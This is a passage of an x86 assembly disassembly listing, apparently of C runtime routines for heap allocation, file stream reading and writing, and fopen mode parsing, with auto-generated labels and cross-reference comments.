ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2660559h nop cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26F107Dh test eax, eax jnz short loc_41FA84 nop call near ptr 2680972h push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26F107Dh nop test eax, eax jnz short loc_41FB25 call near ptr 2680972h nop test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test 